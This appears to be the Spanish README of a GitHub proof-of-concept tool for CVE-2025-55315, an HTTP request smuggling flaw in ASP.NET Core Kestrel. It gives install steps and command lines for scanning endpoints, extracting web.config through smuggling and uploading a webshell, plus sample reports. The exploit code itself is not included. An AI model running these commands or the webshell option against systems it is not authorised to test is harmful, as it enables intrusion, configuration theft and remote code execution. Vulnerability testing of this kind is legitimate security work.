Herramienta de Pentest CVE-2025-55315

Herramienta de explotación de contrabando de solicitudes HTTP para ASP.NET Core Kestrel

⚠️ ADVERTENCIA LEGAL

¡ESTA HERRAMIENTA ES SOLO PARA PRUEBAS DE SEGURIDAD AUTORIZADAS!

Úsela SOLO en sistemas que posea o para los que tenga autorización explícita por escrito para probar
El acceso no autorizado a sistemas informáticos es ILEGAL
El creador de la herramienta NO es responsable del mal uso
Al usar esta herramienta, usted acepta toda la responsabilidad legal

📋 Resumen

Herramienta profesional de pruebas de penetración para CVE-2025-55315 (vulnerabilidad de contrabando de solicitudes HTTP en ASP.NET Core Kestrel). Esta herramienta está diseñada para el análisis de un único objetivo con capacidades integrales de explotación.

¿Qué es CVE-2025-55315?

Una vulnerabilidad crítica de contrabando de solicitudes HTTP en el servidor web ASP.NET Core Kestrel (CVSS 9.9/10) que permite a los atacantes:

Evadir la autenticación
Robar credenciales y tokens de sesión
Realizar falsificación de solicitudes del lado del servidor (SSRF)
Envenenar cachés
Subir webshells y obtener ejecución remota de código

Versiones afectadas:

.NET Core 3.0 hasta .NET 9.0.9
Corregido en: .NET 8.0.21+, 9.0.10+, 10.0.0-rc2+

✨ Características

Capacidades principales

✅ Análisis de un solo objetivo - Pruebas de penetración enfocadas en un objetivo específico
✅ Descubrimiento automático de endpoints - Descubre endpoints comunes de ASP.NET Core
✅ Pruebas manuales de endpoints - Prueba endpoints específicos de interés
✅ Detección de vulnerabilidades - Detección precisa de CVE-2025-55315
✅ Extracción de web.config - Lee archivos de configuración mediante contrabando de solicitudes
✅ Carga de Webshell - Capacidad opcional de implementación de webshell
✅ Informes detallados - Informes en formato JSON y texto
✅ Funciones de seguridad - Múltiples avisos de confirmación para acciones destructivas

Características técnicas

Compatibilidad con HTTP/1.1 y HTTPS
Compatibilidad con puertos personalizados
Tiempos de espera configurables
Modo de depuración detallado (verbose)
Salida de terminal con códigos de color
Omisión de la validación de certificados SSL (para pruebas)

🔧 Instalación

Requisitos

# Python 3.7 or higher
python3 --version

# No external dependencies - uses only standard library

Descarga

# Clone or download the tool
git clone https://github.com/ZemarKhos/CVE-2025-55315-PoC-Exploit.git
cd CVE-2025-55315-PoC-Exploit

# Make executable
chmod +x cve_2025_55315_PoC.py

🚀 Inicio rápido

Escaneo básico de vulnerabilidades

python3 cve_2025_55315_PoC.py -t target.com

Esto:

Recopilará información del servidor
Descubrirá automáticamente los endpoints activos
Probará cada endpoint para detectar CVE-2025-55315
Mostrará los resultados en la terminal

Probar un endpoint específico

python3 cve_2025_55315_PoC.py -t target.com -e /api/login

Escaneo completo con extracción de web.config

python3 cve_2025_55315_PoC.py -t target.com --read-config -o report.txt

Avanzado: Explotación completa (¡Solo autorizado!)

python3 cve_2025_55315_PoC.py \
  -t target.com \
  --read-config \
  --upload-shell \
  -v \
  -o full_report.txt

📖 Ejemplos de uso

Ejemplo 1: Verificación rápida

Escenario: Comprobar si el servidor de producción es vulnerable

python3 cve_2025_55315_PoC.py -t api.mycompany.com

Duración esperada: 30-60 segundos

Ejemplo 2: Escaneo detallado

Escenario: Escaneo integral de endpoints con salida detallada (verbose)

python3 cve_2025_55315_PoC.py -t api.mycompany.com -v -o scan_results.txt

Duración esperada: 2-5 minutos

Ejemplo 3: Apuntar a múltiples endpoints

Escenario: Probar endpoints críticos específicos

python3 cve_2025_55315_PoC.py \
  -t api.mycompany.com \
  -e /api/payment/process \
  -e /api/admin/users \
  -e /api/internal/config \
  -o critical_endpoints.txt

Ejemplo 4: Objetivo sin SSL

Escenario: Probar un servidor HTTP interno

python3 cve_2025_55315_PoC.py \
  -t internal-api.local \
  -p 8080 \
  --no-ssl

📊 Opciones de línea de comandos

usage: cve_2025_55315_PoC.py [-h] -t TARGET [-p PORT] [-e ENDPOINT]
                                  [--no-ssl] [--read-config] [--upload-shell]
                                  [-o OUTPUT] [-v] [--timeout TIMEOUT]

Required Arguments:
  -t, --target         Target hostname or URL (e.g., target.com)

Optional Arguments:
  -p, --port           Port number (default: 443 for SSL, 80 for non-SSL)
  -e, --endpoint       Specific endpoint(s) to test (can be used multiple times)
  --no-ssl             Disable SSL/HTTPS (use HTTP)
  --read-config        Attempt to read web.config file
  --upload-shell       Attempt webshell upload (requires confirmation)
  -o, --output         Save report to file
  -v, --verbose        Enable verbose output
  --timeout            Socket timeout in seconds (default: 10)
  -h, --help           Show help message

🔍 Comprendiendo la salida

Ejemplo de sistema vulnerable

Target: old-api.company.com:443
Vulnerable: YES - CRITICAL

--- Server Information ---
  server: Kestrel/8.0.15
  kestrel_detected: True
  http_version: 1.1

--- VULNERABLE ENDPOINTS (2) ---
  ✗ /api/login
    Details: Request smuggling successful - multiple responses
  ✗ /api/health
    Details: Request smuggling successful - multiple responses

--- SUCCESSFUL EXPLOITS ---
  ✓ web.config_read via /api/login

Interpretación:

🔴 VULNERABILIDAD CRÍTICA DETECTADA
🔴 Múltiples endpoints son vulnerables
🔴 El archivo de configuración se extrajo correctamente
⚡ URGENTE: Actualice a .NET 8.0.21+ o 9.0.10+

Ejemplo de sistema seguro

Target: new-api.company.com:443
Vulnerable: NO - SECURE

--- Server Information ---
  server: Kestrel/9.0.10
  kestrel_detected: True
  http_version: 1.1

[SUCCESS] ✓ Endpoint NOT vulnerable (400 Bad Request)

✓ No vulnerable endpoints found - target may be patched